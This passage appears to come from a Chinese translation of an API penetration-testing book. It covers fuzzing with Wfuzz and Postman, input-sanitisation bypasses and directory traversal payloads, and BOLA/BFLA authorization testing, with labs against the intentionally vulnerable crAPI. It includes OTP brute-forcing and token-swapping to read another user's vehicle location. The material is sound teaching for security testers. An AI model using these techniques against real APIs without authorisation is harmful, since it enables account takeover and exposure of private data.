现在,使用 Wfuzz 模糊测试请求体时,通过 -d 选项指定请求体,并将请求体粘贴到命令中,用引号括起来。请注意,Wfuzz 通常会删除引号,因此需要使用反斜杠来保留它们。在这种情况下,我们将要模糊测试的参数替换为 FUZZ。最后,我们使用 -u 来指定我们要攻击的 URL:
$ **wfuzz -z file,/home/hapihacker/big-list-of-naughty-strings.txt -H "Content-Type: application/json" -H "x-access-token: [...]" --hc 400 -X PUT -d "{**
**\"user\": \"FUZZ\",**
**\"pass\": \"FUZZ\",**
**\"id\": \"FUZZ\",**
**\"name\": \"FUZZ\",**
**\"is_admin\": \"FUZZ\",**
**\"account_balance\": \"FUZZ\"**
**}" -u http://192.168.195.132:8090/api/user/edit_info**
这是一个相当复杂的命令,有足够的空间让人出错。如果你需要故障排除,建议将请求代理到 Burp Suite,这将帮助你可视化发送的请求。要将流量代理回 Burp,使用 -p 代理选项,并指定 Burp Suite 运行所在的 IP 地址和端口:
$ **wfuzz -z file,/home/hapihacker/big-list-of-naughty-strings.txt -H "Content-Type: application/json" -H "x-access-token: [...]" -p 127.0.0.1:8080 --hc 400 -X PUT -d "{**
**\"user\": \"FUZZ\",**
**\"pass\": \"FUZZ\",**
**\"id\": \"FUZZ\",**
**\"name\": \"FUZZ\",**
**\"is_admin\": \"FUZZ\",**
**\"account_balance\": \"FUZZ\"**
**}" -u http://192.168.195.132:8090/api/user/edit_info**
在 Burp Suite 中,检查拦截的请求并将其发送到 Repeater,以查看是否有任何拼写错误或其他问题。如果你的 Wfuzz 命令正常运行,执行它并查看结果,应该像这样:
********************************************************
* Wfuzz - The Web Fuzzer *
********************************************************
Target: http://192.168.195.132:8090/api/user/edit_info
Total requests: 502
==========================================================
ID Response Lines Word Chars Payload
==========================================================
000000001: 200 0 L 3 W 39 Ch "undefined - undefined - undefined - undefined - undefined - undefined"
000000012: 200 0 L 3 W 39 Ch "TRUE - TRUE - TRUE - TRUE - TRUE - TRUE"
000000017: 200 0 L 3 W 39 Ch "\\ - \\ - \\ - \\ - \\ - \\"
000000010: 302 10 L 63 W 1014 Ch "<a href='\xE2\x80..."
现在,你可以寻找异常并执行额外的请求来分析你发现的内容。在这种情况下,值得观察 API 提供方如何回应导致 302 响应代码的有效负载。使用这个有效负载在 Burp Suite 的 Repeater 或 Postman 中进行测试。
广泛模糊测试不当资产管理
不当资产管理漏洞通常发生在组织暴露了已退役、处于测试环境中或仍在开发中的 API。在这些情况下,API 可能比其支持的生产环境版本具有更少的保护。不当资产管理可能仅影响单个端点或请求,因此通常需要广泛模糊测试,以检查 API 中的任何请求是否存在不当资产管理。
如第三章所述,你可以通过密切关注过时的 API 文档来发现不当的资产管理漏洞。如果一个组织的 API 文档没有随着组织的 API 端点更新,它可能会包含指向不再受支持的 API 部分的引用。此外,检查任何类型的变更日志或 GitHub 仓库。如果变更日志中提到“解决了 v3 中的对象级授权漏洞”,那么找到仍在使用 v1 或 v2 的端点将变得更加容易。
除了使用文档,你还可以通过模糊测试(fuzzing)来发现不当的资产漏洞。最好的方法之一是观察业务逻辑中的模式并测试你的假设。例如,在图 9-8 中,你可以看到在该集合的所有请求中使用的baseURL变量是https://petstore.swagger.io/v2。尝试将v2替换为v1,然后使用 Postman 的集合运行器(Collection Runner)进行测试。

图 9-8:在 Postman 中编辑集合变量
示例 API 的生产版本是v2,因此,测试一些关键词会是个好主意,如v1、v3、test、mobile、uat、dev和old,以及在分析或侦察测试过程中发现的任何有趣路径。此外,一些 API 提供商通过在版本号前后添加/internal/,允许访问管理功能,路径可能如下所示:
-
/api/v2/internal/users
-
/api/internal/v2/users
如前所述,首先使用 API 预期的版本路径,通过集合运行器(Collection Runner)开发一个基准,了解 API 对典型请求的响应。弄清楚 API 如何响应成功的请求以及如何响应错误的请求(或对不存在的资源的请求)。
为了简化我们的测试,我们将设置与本章前面使用的相同的状态码为 200 的测试。如果 API 提供商通常对不存在的资源返回状态码 404,那么对于这些资源返回 200 状态码很可能表明该 API 存在漏洞。确保在集合级别插入此测试,以便在使用集合运行器时在每个请求上运行它。
现在保存并运行你的集合。检查通过此测试的请求的结果。查看结果后,换一个新关键字继续测试。如果你发现了不当的资产管理漏洞,下一步将是测试非生产环境端点,寻找更多弱点。这时,你的信息收集技巧将派上用场。在目标的 GitHub 或更新日志中,你可能会发现 API 的旧版本曾遭受 BOLA 攻击,因此你可以尝试对该漏洞端点进行攻击。如果在侦察过程中没有找到任何线索,可以结合本书中的其他技术来利用漏洞。
使用 Wfuzz 测试请求方法
一种实际使用模糊测试的方法是确定给定 API 请求的所有可用 HTTP 请求方法。你可以使用我们介绍的几种工具来执行这个任务,但这一节将使用 Wfuzz 演示如何进行。
首先,捕获或构造你希望测试的 API 请求及其可接受的 HTTP 方法。在本例中,我们将使用以下请求:
GET /api/v2/account HTTP/1.1
HOST: restfuldev.com
User-Agent: Mozilla/5.0
Accept: application/json
接下来,使用 Wfuzz 创建请求,使用-X FUZZ来专门模糊测试 HTTP 方法。运行 Wfuzz 并查看结果:
$ **wfuzz -z list,GET-HEAD-POST-PUT-PATCH-TRACE-OPTIONS-CONNECT- -X FUZZ http://testsite.com/api/v2/account**
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://testsite.com/api/v2/account
Total requests: 8
==========================================================
ID Response Lines Word Chars Payload
==========================================================
000000008: 405 7 L 11 W 163 Ch "CONNECT"
000000004: 405 7 L 11 W 163 Ch "PUT"
000000005: 405 7 L 11 W 163 Ch "PATCH"
000000007: 405 7 L 11 W 163 Ch "OPTIONS"
000000006: 405 7 L 11 W 163 Ch "TRACE"
000000002: 200 0 L 0 W 0 Ch "HEAD"
000000001: 200 0 L 107 W 2610 Ch "GET"
000000003: 405 0 L 84 W 1503 Ch "POST"
根据这些结果,你可以看到基础响应通常包括 405 状态码(方法不被允许)和 163 个字符的响应长度。异常响应包括两个请求方法,它们返回 200 状态码。这证实了 GET 和 HEAD 请求都有效,但没有透露什么新的信息。然而,这个测试也表明,你可以对api/v2/account端点使用 POST 请求。如果你正在测试的 API 文档中没有包括这种请求方法,那么你可能发现了一个不应对最终用户开放的功能。未记录的功能是一个很好的发现,应该进一步测试是否存在其他漏洞。
对输入清洗进行“更深”模糊测试以绕过限制
在进行深度模糊测试时,你需要有策略地设置有效载荷位置。例如,对于 PUT 请求中的邮箱字段,API 提供者可能会通过要求请求体的内容符合邮箱地址的格式来做得相当不错。换句话说,任何不是邮箱地址的值发送到该字段可能会导致相同的 400 错误(错误请求)。类似的限制可能也适用于整数和布尔值。如果你已经彻底测试了某个字段并且没有得到任何有趣的结果,你可能会选择将其排除在后续测试之外,或者将其保留用于在单独的攻击中进行更深入的测试。
另外,为了对特定字段进行更深层次的模糊测试,你可以尝试绕过任何已有的限制。所谓的绕过,是指欺骗服务器的输入清洗代码,使其处理原本应当限制的有效载荷。你可以使用一些技巧来针对受限字段进行攻击。
首先,尝试发送一个看起来像是受限字段的内容(如果是电子邮件字段,包含一个看起来有效的电子邮件),然后添加空字节,再添加另一个有效载荷位置,用于插入模糊测试的有效载荷。以下是一个示例:
"user": "a@b.com%00§test§"
不要使用空字节,试着发送管道符号(|)、引号、空格以及其他转义符号。更好的是,有足够多的符号可以发送,你可以为典型的转义字符添加第二个有效载荷位置,如下所示:
"user": "a@b.com§escape§§test§"
使用一组潜在的转义符号作为 §escape§ 有效载荷,以及你希望执行的 §test§ 有效载荷。进行此测试时,使用 Burp Suite 的集群炸弹攻击,它会循环通过多个有效载荷列表,并对每个有效载荷进行尝试:
-
Escape1
-
Escape1
-
Escape1
-
Escape2
-
Escape2
-
Escape2
-
Payload1
-
Payload2
-
Payload3
-
Payload1
-
Payload2
-
Payload3
集群炸弹模糊测试攻击非常擅长耗尽某些有效载荷组合,但要注意,请求数量将呈指数增长。当我们在第十二章尝试注入攻击时,我们会花更多时间讲解这种模糊测试风格。
目录遍历模糊测试
另一个可以进行模糊测试的弱点是目录遍历。目录遍历,也称为路径遍历,目录遍历 是一种漏洞,攻击者可以利用它让 Web 应用程序通过某种形式的 ../ 表达式转到父目录,然后读取任意文件。你可以利用一系列路径遍历的点和斜杠来代替前一节中描述的转义符号,例如以下这些:
-
.. -
..\ -
../ -
\..\ -
\..\.\
这种弱点已经存在多年,通常会采取各种安全控制措施,包括用户输入净化,以防止此类问题的发生,但如果使用合适的有效载荷,你可能能够绕过这些控制措施和 Web 应用防火墙。如果你能够退出 API 路径,可能就能访问到敏感信息,如应用逻辑、用户名、密码以及额外的个人身份信息(如姓名、电话号码、电子邮件和地址)。
目录遍历可以使用广度和深度模糊测试技术进行。理想情况下,你会对整个 API 的所有请求进行深度模糊测试,但由于这可能是一项庞大的任务,因此可以先进行广度模糊测试,然后再专注于特定的请求值。确保利用从侦察、端点分析和包含错误或其他信息披露的 API 响应中收集的信息来丰富你的有效载荷。
总结
本章介绍了模糊测试 API 的技术,这是你需要掌握的最重要的攻击技术之一。通过向 API 请求的正确部分发送正确的输入,你可以发现各种 API 弱点。我们讨论了两种策略:广度模糊测试和深度模糊测试,它们有助于测试大型 API 的整个攻击面。在接下来的章节中,我们将回到深度模糊测试技巧,发现并攻击更多的 API 漏洞。
实验 #6:模糊测试不当资产管理漏洞
在本实验中,你将针对 crAPI 测试你的模糊测试技能。如果你还没有这么做,请按照第七章的步骤构建一个 crAPI Postman 集合,并获取一个有效的令牌。现在我们可以开始进行广泛的模糊测试,然后根据我们的发现转向深度模糊测试。
让我们开始进行不当资产管理漏洞的模糊测试。首先,我们将使用 Postman 对不同的 API 版本进行广泛的模糊测试。打开 Postman,导航到环境变量(使用位于 Postman 右上角的眼睛图标作为快捷方式)。向 Postman 环境添加一个名为 path 的变量,并将其值设置为 v3。现在,你可以更新并测试与版本相关的路径(如 v1、v2、internal 等)。
为了从 Postman Collection Runner 中获得更好的结果,我们将使用 Collection Editor 配置一个测试。选择 crAPI 集合选项,点击 编辑,然后选择 测试 标签。添加一个检测状态码 404 返回的测试,这样任何不返回 404 Not Found 响应的内容都会被视为异常。你可以使用以下测试:
pm.test("Status code is 404", function () {
pm.response.to.have.status(404);
});
使用 Collection Runner 对 crAPI 集合进行基线扫描。首先,确保你的环境是最新的,并且 保存响应 已勾选(参见 图 9-9)。

图 9-9:Postman 集合运行器
由于我们正在寻找不当的资产管理漏洞,我们将仅测试路径中包含版本信息的 API 请求。使用 Postman 的查找和替换功能,将集合中的 v2 和 v3 替换为 path 变量(参见 图 9-10)。

图 9-10:用 Postman 变量替换路径中的版本信息
你可能已经注意到我们集合中的一个有趣事项:除了密码重置端点 /identity/api/auth/v3/check-otp 使用 v3,所有其他端点的路径中都包含 v2。
变量设置好后,使用我们预计在所有端点中都会失败的路径运行基线扫描。如 图 9-11 所示,path 变量的当前值设置为 fail12345,这个值在任何端点中都不太可能有效。了解 API 在失败时的反应将帮助我们理解 API 对不存在路径的请求的响应方式。这一基线将有助于我们使用 Collection Runner 进行广泛模糊测试(参见 图 9-12)。如果请求不存在的路径时返回成功的 200 响应,我们就需要注意其他指标,以帮助检测异常。

图 9-11:不当的资产管理漏洞

图 9-12:一个基础的 Postman Collection Runner 测试
如预期的那样,图 9-12 显示所有九个请求都失败了,因为 API 提供者返回了 404 状态码。现在,我们可以轻松地发现测试路径时的异常,比如test、mobile、uat、v1、v2和v3。将path变量的当前值更新为这些其他可能不受支持的路径,然后再次运行 Collection Runner。要快速更新变量,请点击 Postman 右上角的眼睛图标。
当你返回到路径值/v2和/v3时,事情应该开始变得有趣。当path变量设置为/v3时,所有请求都会失败。这有点奇怪,因为我们之前提到过密码重置请求是使用/v3路径的。为什么这个请求现在失败了呢?根据 Collection Runner,密码重置请求实际上收到了一个 500 内部服务器错误,而所有其他请求都收到了 404 未找到状态码。异常!
进一步调查密码重置请求会发现,使用/v3路径时发出了 HTTP 500 错误,因为应用程序有一个限制,限制了你尝试发送一次性验证码(OTP)的次数。将相同的请求发送到/v2也会导致 HTTP 500 错误,但响应稍微大一些。也许可以尝试在 Burp Suite 中重新发送这两个请求,并使用 Comparer 查看其中的细微差异。/v3密码重置请求响应为{"message":"ERROR..","status":500}。/v2密码重置请求响应为{"message":"Invalid OTP! Please try again..","status":500}。
密码重置请求并未按照我们开发的基准来响应,当 URL 路径未使用时,应该返回 404 状态码。相反,我们发现了一个不当的资产管理漏洞!这个漏洞的影响是/v2路径没有限制我们猜测 OTP 的次数。使用四位数的 OTP,我们应该能够通过模糊测试深入并在 10,000 个请求内发现任何 OTP。最终,你会收到一条表明你成功的消息:{"message":"OTP verified","status":200}。
第十一章:利用授权漏洞

在本章中,我们将介绍两种授权漏洞:BOLA 和 BFLA。这些漏洞暴露了授权检查的弱点,授权检查确保经过身份验证的用户只能访问他们自己的资源或使用与其权限级别相匹配的功能。在此过程中,我们将讨论如何识别资源 ID,使用 A-B 和 A-B-A 测试,以及如何通过 Postman 和 Burp Suite 加速测试。
寻找 BOLA 漏洞
BOLA 仍然是最突出的与 API 相关的漏洞之一,但它也可能是最容易测试的漏洞之一。如果你看到 API 列出了遵循某种模式的资源,你可以使用该模式测试其他实例。例如,假设你注意到在完成购买后,应用程序通过 API 在以下位置提供收据:/api/v1/receipt/135。知道这一点后,你可以通过在 Burp Suite 或 Wfuzz 中使用 135 作为负载位置,并将 135 更改为 0 到 200 之间的数字来检查其他数字。这正是我们在第四章实验中对 reqres.in 进行用户账户总数测试时所做的。
本节将介绍与寻找 BOLA 漏洞相关的其他考虑因素和技术。在寻找 BOLA 漏洞时,请记住,它们不仅仅是通过 GET 请求发现的。尝试使用所有可能的方法与你不应该有权限访问的资源进行交互。同样,易受攻击的资源 ID 不仅仅局限于 URL 路径。确保考虑其他可能的位置来检查 BOLA 漏洞,包括请求的主体和头部。
定位资源 ID
到目前为止,本书已经通过类似顺序请求资源的例子演示了 BOLA 漏洞:
-
GET /api/v1/user/account/``1111 -
GET /api/v1/user/account/``1112
要测试这个漏洞,你可以简单地暴力破解某个范围内的所有账户号码,并检查请求是否返回成功响应。
有时,找到 BOLA 漏洞实际上是如此简单。然而,要进行全面的 BOLA 测试,你需要密切关注 API 提供者用来获取资源的信息,因为这些信息可能并不那么显而易见。查找用户 ID 名称或号码、资源 ID 名称或号码、组织 ID 名称或号码、电子邮件、电话号码、地址、令牌,或在请求中用于获取资源的编码负载。
请记住,可预测的请求值并不会让 API 容易受到 BOLA 攻击;只有当 API 允许未经授权的用户访问请求的资源时,API 才被认为是脆弱的。通常,不安全的 API 会犯一个错误,即验证用户是否已通过身份验证,但未检查该用户是否被授权访问请求的资源。
如表 10-1 所示,你可以尝试多种方式获取你不应有权限访问的资源。这些例子基于实际成功的 BOLA 发现。在每一个请求中,请求者都使用了相同的 UserA 令牌。
表 10-1: 资源的有效请求及其对应的 BOLA 测试
| 类型 | 有效请求 | BOLA 测试 |
|---|---|---|
| 可预测 ID | GET /api/v1/account/``2222 Token: UserA_token |
GET /api/v1/account/``3333 Token: UserA_token |
| ID 组合 | GET /api/v1/``UserA``/data/2222 Token: UserA_token |
GET /api/v1/``UserB``/data/``3333 Token: UserA_token |
| 整数作为 ID | POST /api/v1/account/ Token: UserA_token
{"Account": 2222``} | POST /api/v1/account/ Token: UserA_token
{"Account": [``3333``]} |
| 电子邮件作为用户 ID | POST /api/v1/user/account Token: UserA_token
{"email": "``UserA@email.com``"} | POST /api/v1/user/account Token: UserA_token
{"email": "``UserB@email.com``"} |
| 组 ID | GET /api/v1/group/``CompanyA Token: UserA_token |
GET /api/v1/group/``CompanyB Token: UserA_token |
|---|
| 组和用户组合 | POST /api/v1/group/``CompanyA Token: UserA_token
{"email": "``userA@CompanyA.com``"} | POST /api/v1/group/``CompanyB Token: UserA_token
{"email": "``userB@CompanyB.com``"} |
| 嵌套对象 | POST /api/v1/user/checking Token: UserA_token
{"Account": 2222``} | POST /api/v1/user/checking Token: UserA_token
{"Account":``{"Account" :3333}} |
| 多个对象 | POST /api/v1/user/checking Token: UserA_token
{"Account": 2222``} | POST /api/v1/user/checking Token: UserA_token
{"Account": 2222, "Account": 3333, "Account": 5555``} |
| 可预测令牌 | POST /api/v1/user/account Token: UserA_token
{"data": "DflK1df7jSdfa``1ac``aa"} | POST /api/v1/user/account Token: UserA_token
{"data": "DflK1df7jSdfa2dfaa"} |
有时,仅请求资源并不足够;你需要以正确的方式请求资源,通常需要同时提供资源 ID 和用户 ID。因此,由于 API 的组织方式,正确的资源请求可能需要如表 10-1 所示的ID 组合格式。同样,你可能需要知道组 ID 和资源 ID,就像在组和用户组合格式中那样。
嵌套对象是 JSON 数据中常见的结构。这些对象是创建在一个对象内部的额外对象。由于嵌套对象是有效的 JSON 格式,只要用户输入验证未阻止,系统会处理该请求。通过使用嵌套对象,你可以通过在嵌套对象中包括一个没有相同安全控制的键/值对,从而绕过或逃避应用于外部键/值对的安全措施。如果应用程序处理这些嵌套对象,它们是授权漏洞的一个优秀载体。
A-B 测试中的 BOLA
我们所说的A-B 测试是通过一个账户创建资源,然后尝试以另一个账户获取这些资源的过程。这是识别资源如何被识别以及用于获取它们的请求的最佳方法之一。A-B 测试过程如下:
-
以 UserA 的身份创建资源。 注意资源如何被识别,以及资源是如何被请求的。
-
将您的 UserA 令牌替换为另一个用户的令牌。 在许多情况下,如果存在账户注册过程,您将能够创建第二个账户(UserB)。
-
使用 UserB 的令牌,发起请求获取 UserA 的资源。 重点关注私人信息资源。测试任何 UserB 不应访问的资源,如全名、电子邮件、电话号码、社会保障号码、银行账户信息、法律信息和交易数据。
这个测试的规模较小,但如果您能够访问一个用户的资源,您可能能够访问所有同一特权级别用户的资源。
A-B 测试的一种变体是创建三个账户进行测试。这样,您可以在这三个不同的账户中创建资源,检测资源标识符中的任何模式,并检查哪些请求用于请求这些资源,如下所示:
-
在您有权限的每个特权级别上创建多个账户。 请记住,您的目标是测试和验证安全控制,而不是破坏某人的业务。在执行 BFLA 攻击时,您可能会成功删除其他用户的资源,因此最好将此类危险攻击限制在您创建的测试账户上。
-
使用您的账户,在 UserA 的账户中创建一个资源,并尝试使用 UserB 的账户与其交互。 使用所有可以使用的方法。
旁路通道 BOLA
我最喜欢的从 API 获取敏感信息的方法之一是通过旁路通道泄露。实质上,这指的是从意外的来源获取的信息,比如时间数据。在前面的章节中,我们讨论了 API 如何通过中间件(如 X-Response-Time)揭示资源的存在。旁路通道发现是为什么使用 API 按照预期的方式进行并开发正常响应基准的另一个原因。
除了时间因素,您还可以使用响应代码和响应长度来判断资源是否存在。例如,如果 API 对不存在的资源返回 404 Not Found,但对存在的资源返回不同的响应,如 405 Unauthorized,您将能够进行 BOLA 旁路通道攻击,发现现有的资源,如用户名、账户 ID 和电话号码。
表 10-2 给出了几种可能对侧信道 BOLA 信息泄露有用的请求和响应示例。如果 404 Not Found 是不存在资源的标准响应,那么其他状态码可以用于枚举用户名、用户 ID 和电话号码。当 API 对不存在的资源和你没有权限查看的现有资源返回不同响应时,这些请求仅提供了可以收集的一些信息示例。如果这些请求成功,它们可能会导致敏感数据的严重泄露。
表 10-2: 侧信道 BOLA 信息泄露示例
| 请求 | 响应 |
|---|---|
GET /api/user/test987123 |
404 Not Found HTTP/1.1 |
| GET /api/user/hapihacker | 405 Unauthorized HTTP/1.1 {
} |
| GET /api/user/1337 | 405 Unauthorized HTTP/1.1 {
} |
| GET /api/user/phone/2018675309 | 405 Unauthorized HTTP/1.1 {
} |
单独来看,这个 BOLA 漏洞可能显得微不足道,但类似的信息在其他攻击中可能会变得非常有价值。例如,你可以利用通过侧信道信息泄露收集到的信息,进行暴力破解攻击,以便访问有效的账户。你还可以利用这种信息执行其他 BOLA 测试,比如在表 10-1 中展示的 ID 组合 BOLA 测试。
寻找 BFLA
寻找 BFLA 就是寻找你不该访问的功能。BFLA 漏洞可能允许你更新对象值、删除数据,或者以其他用户的身份执行操作。要检查此漏洞,可以尝试更改或删除资源,或者访问属于其他用户或权限级别的功能。
请注意,如果你成功发送了 DELETE 请求,你将不再能够访问给定的资源……因为你已将其删除。因此,除非你在测试环境中进行测试,否则在模糊测试时避免进行 DELETE 测试。假设你向 1,000 个资源标识符发送 DELETE 请求;如果请求成功,你将删除可能有价值的信息,而你的客户端肯定不会高兴。相反,从小规模开始进行 BFLA 测试,避免造成重大中断。
A-B-A 测试用于 BFLA
就像 BOLA 的 A-B 测试一样,A-B-A 测试是指使用一个账户创建和访问资源,然后尝试用另一个账户更改资源。最后,你应该使用原始账户验证任何更改。A-B-A 测试过程应该是这样的:
-
作为 UserA 创建、读取、更新或删除资源。 注意资源是如何标识的,以及资源是如何被请求的。
-
将你的 UserA 令牌换成 UserB 的。 如果存在账户注册流程,可以创建第二个测试账户。
-
使用 UserB 的令牌发送 GET、PUT、POST 和 DELETE 请求,以访问 UserA 的资源。 如果可能,通过更新对象的属性来更改资源。
-
检查 UserA 的资源,以验证是否通过 UserB 的令牌进行了更改。 无论是使用相应的 Web 应用程序,还是通过使用 UserA 的令牌发送 API 请求,都需要检查相关资源。例如,如果 BFLA 攻击是试图删除 UserA 的个人资料图片,则加载 UserA 的个人资料,查看图片是否丢失。
除了在单一权限级别下测试授权漏洞外,还需确保检查其他权限级别的漏洞。如前所述,API 可能具有各种不同的权限级别,例如普通用户、商户、合作伙伴和管理员。如果你能够访问不同权限级别的帐户,那么你的 A-B-A 测试可以增加新的层次。尝试将 UserA 设置为管理员,将 UserB 设置为普通用户。如果你能够在这种情况下利用 BLFA,那么它就会变成权限升级攻击。
在 Postman 中测试 BFLA
从授权请求 UserA 资源开始你的 BFLA 测试。如果你正在测试是否能够修改社交媒体应用中其他用户的图片,像 清单 10-1 中显示的那样发送一个简单的请求就足够了:
GET /api/picture/2
Token: UserA_token
清单 10-1:BFLA 测试的示例请求
这个请求告诉我们,资源是通过路径中的数字值来识别的。此外,如 清单 10-2 所示,响应表明资源的用户名("UserA")与请求令牌匹配。
200 OK
{
"_id": 2,
"name": "development flower",
"creator_id": 2,
"username": "UserA",
"money_made": 0.35,
"likes": 0
}
清单 10-2:BFLA 测试的示例响应
现在,鉴于这是一个用户可以共享图片的社交媒体平台,如果其他用户能够成功发送一个 GET 请求来获取图片 2,这并不令人惊讶。这不是 BOLA 的实例,而是一个功能特性。然而,UserB 不应能够删除属于 UserA 的图片。这就是我们跨入 BFLA 漏洞的地方。
在 Postman 中,尝试发送一个 DELETE 请求,删除包含 UserB 令牌的 UserA 资源。如 图 10-1 所示,使用 UserB 令牌的 DELETE 请求能够成功删除 UserA 的图片。为了验证图片是否已删除,发送后续的 GET 请求,查询 picture_id=2,你会确认 UserA 的 ID 为 2 的图片不再存在。这是一个非常重要的发现,因为单个恶意用户可能轻易删除所有其他用户的资源。

图 10-1:使用 Postman 成功进行 BFLA 攻击
如果你有文档访问权限,找出与权限升级相关的 BFLA 漏洞会更为简便。或者,你可能会在集合中找到清晰标注的管理操作,或者你可能已经反向工程了管理功能。如果不是这种情况,你需要对管理员路径进行模糊测试。
测试 BFLA 最简单的方法之一是以低权限用户身份发出管理请求。如果一个 API 允许管理员通过 POST 请求搜索用户,尝试发出相同的管理员请求,看看是否有任何安全控制措施阻止你成功。查看清单 10-3 中的请求。在清单 10-4 的响应中,我们看到 API 并没有做出此类限制。
POST /api/admin/find/user
Token: LowPriv-Token
{"email": "hapi@hacker.com"}
清单 10-3:请求用户信息
200 OK HTTP/1.1
{
"fname": "hAPI",
"lname": "Hacker",
"is_admin": false,
"balance": "3737.50"
"pin": 8675
}
清单 10-4:带有用户信息的响应
搜索用户并获取另一个用户的敏感信息本应仅限于持有管理员令牌的人员。然而,通过请求/admin/find/user端点,你可以测试是否存在任何技术性限制。由于这是一个管理请求,成功响应可能还会提供敏感信息,比如用户的全名、余额和个人识别号码(PIN)。
如果存在限制,可以尝试更改请求方法。使用 POST 请求代替 PUT 请求,或反之。有时 API 提供者会针对某一种请求方法做出授权保护,但可能忽略了另一种方法。
授权绕过技巧
攻击一个拥有数百个端点和成千上万独特请求的大型 API 可能非常耗时。以下策略应有助于你在整个 API 中测试授权漏洞:在 Postman 中使用集合变量,和使用 Burp Suite 的匹配与替换功能。
Postman 的集合变量
就像进行广泛模糊测试时一样,你可以使用 Postman 对一个集合中的变量进行修改,将你的授权令牌设置为集合变量。首先测试你的资源的各种请求,确保它们在 UserA 身份下正常工作。然后将令牌变量替换为 UserB 的令牌。为了帮助你找到异常响应,使用集合测试来定位 200 响应码或 API 的等效响应。
在集合运行器中,仅选择那些可能包含授权漏洞的请求。好的候选请求包括那些包含属于 UserA 的私人信息的请求。启动集合运行器并检查结果。检查结果时,留意那些 UserB 令牌能够返回成功响应的实例。这些成功响应可能表示 BOLA 或 BFLA 漏洞,应该进一步调查。
Burp Suite 匹配与替换
当你攻击一个 API 时,你的 Burp Suite 历史记录将会填充上独特的请求。与其筛选每个请求并对其进行授权漏洞测试,不如使用匹配与替换选项,进行大规模的变量替换,比如替换授权令牌。
首先,作为 UserA 收集你历史中的几个请求,重点关注那些应该需要授权的操作。例如,关注涉及用户账户和资源的请求。接下来,将授权头替换为 UserB 的,并重复这些请求(参见图 10-2)。

图 10-2:Burp Suite 的匹配与替换功能
一旦你发现了 BOLA 或 BFLA 漏洞,尝试利用它来获取所有用户和相关资源的信息。
总结
在这一章中,我们详细查看了攻击 API 授权常见弱点的技术。由于每个 API 都是独一无二的,重要的不仅是弄清楚资源是如何标识的,还要发出请求,访问不属于你当前账户的资源。
授权漏洞可能会导致一些最严重的后果。BOLA 漏洞可能允许攻击者泄露组织的最敏感信息,而 BFLA 漏洞则可能允许你提升权限或执行未经授权的操作,从而危及 API 提供者。
实验#7:查找另一个用户的车辆位置
在本实验中,我们将搜索 crAPI 以发现正在使用的资源标识符,并测试我们是否能未经授权访问另一个用户的数据。在此过程中,我们将看到将多个漏洞结合起来以增强攻击影响力的价值。如果你已经完成了其他实验,你应该已经有一个包含各种请求的 crAPI Postman 集合。
你可能会注意到,资源 ID 的使用相对较轻。然而,有一个请求确实包含了一个独特的资源标识符。crAPI 仪表板底部的“刷新位置”按钮发出了以下请求:
GET /identity/api/v2/vehicle/**fd5a4781-5cb5-42e2-8524-d3e67f5cb3a6**/location.
这个请求获取用户的 GUID 并请求用户车辆的当前位置。另一个用户车辆的位置听起来像是值得收集的敏感信息。我们应该检查 crAPI 开发者是否依赖 GUID 的复杂性来进行授权,或者是否有技术控制确保用户只能查看自己车辆的 GUID。
那么问题是,你应该如何执行这个测试呢?你可能想利用第九章中的模糊测试技巧,但如此长度的字母数字 GUID 需要极其巨大的时间来进行暴力破解。相反,你可以获取另一个现有的 GUID,并用它进行 A-B 测试。为了做到这一点,你需要注册一个第二个帐户,如图 10-3 所示。

图 10-3:在 crAPI 中注册 UserB
在图 10-3 中,你可以看到我们创建了第二个账户,名为 UserB。使用这个账户,按照步骤通过 MailHog 注册一辆车。正如你可能记得的,在第六章的实验中,我们进行了侦查并发现了一些与 crAPI 相关的开放端口。其中一个端口是 8025,MailHog 就位于这个端口。
作为已认证用户,点击仪表板上的点击这里链接,如图 10-4 所示。这将生成一封包含你车辆信息的邮件,并将其发送到你的 MailHog 账户。

图 10-4:crAPI 新用户仪表板
更新地址栏中的 URL,使用以下格式访问端口 8025:http://yourIPaddress:8025。进入 MailHog 后,打开“Welcome to crAPI”邮件(参见图 10-5)。

图 10-5:crAPI MailHog 邮件服务
获取邮件中提供的 VIN 和 pincode 信息,并使用这些信息通过点击添加车辆按钮重新在 crAPI 仪表板上注册你的车辆。这将导致图 10-6 所示的窗口。

图 10-6:crAPI 车辆验证屏幕
一旦你注册了 UserB 的车辆,点击刷新位置按钮捕获请求。它应该像这样:
GET /identity/api/v2/vehicle/d3b4b4b8-6df6-4134-8d32-1be402caf45c/location HTTP/1.1
Host: 192.168.195.130:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Content-Type: application/json
Authorization: Bearer **UserB-Token**
Content-Length: 376
现在你有了 UserB 的 GUID,你可以替换掉 UserB 的 Bearer token,并使用 UserA 的 Bearer token 发送请求。列表 10-5 显示了请求,列表 10-6 显示了响应。
GET /identity/api/v2/vehicle/d3b4b4b8-6df6-4134-8d32-1be402caf45c/location HTTP/1.1
Host: 192.168.195.130:8888
Content-Type: application/json
Authorization: Bearer **UserA-Token**
列表 10-5:BOLA 攻击
HTTP/1.1 200
{
"carId":"d3b4b4b8-6df6-4134-8d32-1be402caf45c",
"vehicleLocation":
{
"id":2,
"latitude":"39.0247621",
"longitude":"-77.1402267"
},
"fullName":"**UserB**"
}
列表 10-6:对 BOLA 攻击的响应
恭喜你,发现了 BOLA 漏洞。也许有办法发现其他有效用户的 GUID,将这一发现提升到新的层次。好吧,记住在第七章中,拦截的 GET 请求到/community/api/v2/community/posts/recent导致了数据过度曝光。乍一看,这个漏洞似乎没有严重的后果。然而,现在我们可以充分利用这些暴露的数据。看看从过度数据暴露中得到的以下对象:
{
"id":"sEcaWGHf5d63T2E7asChJc",
"title":"Title 1",
"content":"Hello world 1",
"author":{
"nickname":"Adam",
"email":"adam007@example.com",
"vehicleid":**"2e88a86c-8b3b-4bd1-8117-85f3c8b52ed2",**
"profile_pic_url":"",
}
这些数据揭示了一个vehicleid,它与刷新位置请求中使用的 GUID 非常相似。用 UserA 的 token 替换这些 GUID。列表 10-7 显示了请求,列表 10-8 显示了响应。
GET /identity/api/v2/vehicle/2e88a86c-8b3b-4bd1-8117-85f3c8b52ed2/location HTTP/1.1
Host: 192.168.195.130:8888
Content-Type: application/json
Authorization: Bearer **UserA-Token**
Connection: close
列表 10-7:请求另一个用户的 GUID
HTTP/1.1 200
{
"carId":"2e88a86c-8b3b-4bd1-8117-85f3c8b52ed2",
"vehicleLocation":{
"id":7,
"latitude":"37.233333",
"longitude":"-115.808333"},
